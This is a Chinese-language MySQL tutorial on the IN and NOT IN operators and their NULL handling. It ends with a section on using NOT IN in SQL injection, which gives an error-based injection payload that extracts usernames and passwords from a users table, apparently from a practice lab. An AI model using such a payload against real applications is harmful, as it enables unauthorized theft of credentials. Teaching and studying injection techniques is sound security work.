IN和NOT IN运算符
MySQL中IN 运算符用来判断表达式的值是否位于给出的列表中;如果是,返回值为 1,否则返回值为 0。
NOT IN 的作用和 IN 恰好相反,NOT IN 用来判断表达式的值是否不位于给出的列表中;如果不是,返回值为 1,否则返回值为 0。
SQL语句中的IN、NOT IN用法
两者如下,效果完全相反,
mysql> SELECT 2 IN (1,3,5,’thks’),’thks’ IN (1,3,5, ‘thks’);
+——————————-+—————————————-+
| 2 IN (1,3,5,’thks’) | ‘thks’ IN (1,3,5, ‘thks’) |
+——————————-+—————————————-+
| 0 | 1 |
+——————————-+—————————————-+
1 row in set, 2 warnings (0.00 sec)
mysql> SELECT 2 NOT IN (1,3,5,’thks’),’thks’ NOT IN (1,3,5, ‘thks’);
+————————————-+———————————————-+
| 2 NOT IN (1,3,5,’thks’) | ‘thks’ NOT IN (1,3,5, ‘thks’) |
+————————————-+———————————————-+
| 1 | 0 |
+————————————-+———————————————-+
1 row in set, 2 warnings (0.00 sec)
对NULL空的处理
当 IN 运算符的两侧有一个为空值 NULL 时,如果找不到匹配项,则返回值为 NULL;如果找到了匹配项,则返回值为 1。
mysql> SELECT NULL IN (1,3,5,’thks’),10 IN (1,3,NULL,’thks’);
+————————————+————————————-+
| NULL IN (1,3,5,’thks’) | 10 IN (1,3,NULL,’thks’) |
+————————————+————————————-+
| NULL | NULL |
+————————————+————————————-+
1 row in set, 1 warning (0.00 sec)
mysql> SELECT NULL IN (1,3,5,’thks’),10 IN (1,10,NULL,’thks’);
+————————————+—————————————+
| NULL IN (1,3,5,’thks’) | 10 IN (1,10,NULL,’thks’) |
+————————————+—————————————+
| NULL | 1 |
+————————————+—————————————+
1 row in set (0.00 sec)
NOT IN 恰好相反,当 NOT IN 运算符的两侧有一个为空值 NULL 时,如果找不到匹配项,则返回值为 NULL;如果找到了匹配项,则返回值为 0。
mysql> SELECT NULL NOT IN (1,3,5,’thks’),10 NOT IN (1,0,NULL,’thks’);
+——————————————+——————————————-+
| NULL NOT IN (1,3,5,’thks’) | 10 NOT IN (1,0,NULL,’thks’) |
+——————————————+——————————————-+
| NULL | NULL |
+——————————————+——————————————-+
1 row in set, 1 warning (0.00 sec)
mysql> SELECT NULL NOT IN (1,3,5,’thks’),10 NOT IN (1,10,NULL,’thks’);
+——————————————+———————————————+
| NULL NOT IN (1,3,5,’thks’) | 10 NOT IN (1,10,NULL,’thks’) |
+——————————————+———————————————+
| NULL | 0 |
+——————————————+———————————————+
1 row in set (0.00 sec)
由上可得出结论:NOT IN结果集中不能有NULL,否则无法正确查询结果
SQL注入中的使用
in、not in其实与where、and等类似,也是一种限制条件,使用他们和使用and、not and效果一样。
可用于查询到某一个或几个数据库名、表名、列名的情况下。如下表示从users表中查询username这个列,查询范围为username不是Dumb、Angelina的值。
?id=1’ and extractvalue(1,concat(0x7e,(select group_concat(username,0x3a,password) from users where username not in (‘Dumb’,’Angelina’))))—+
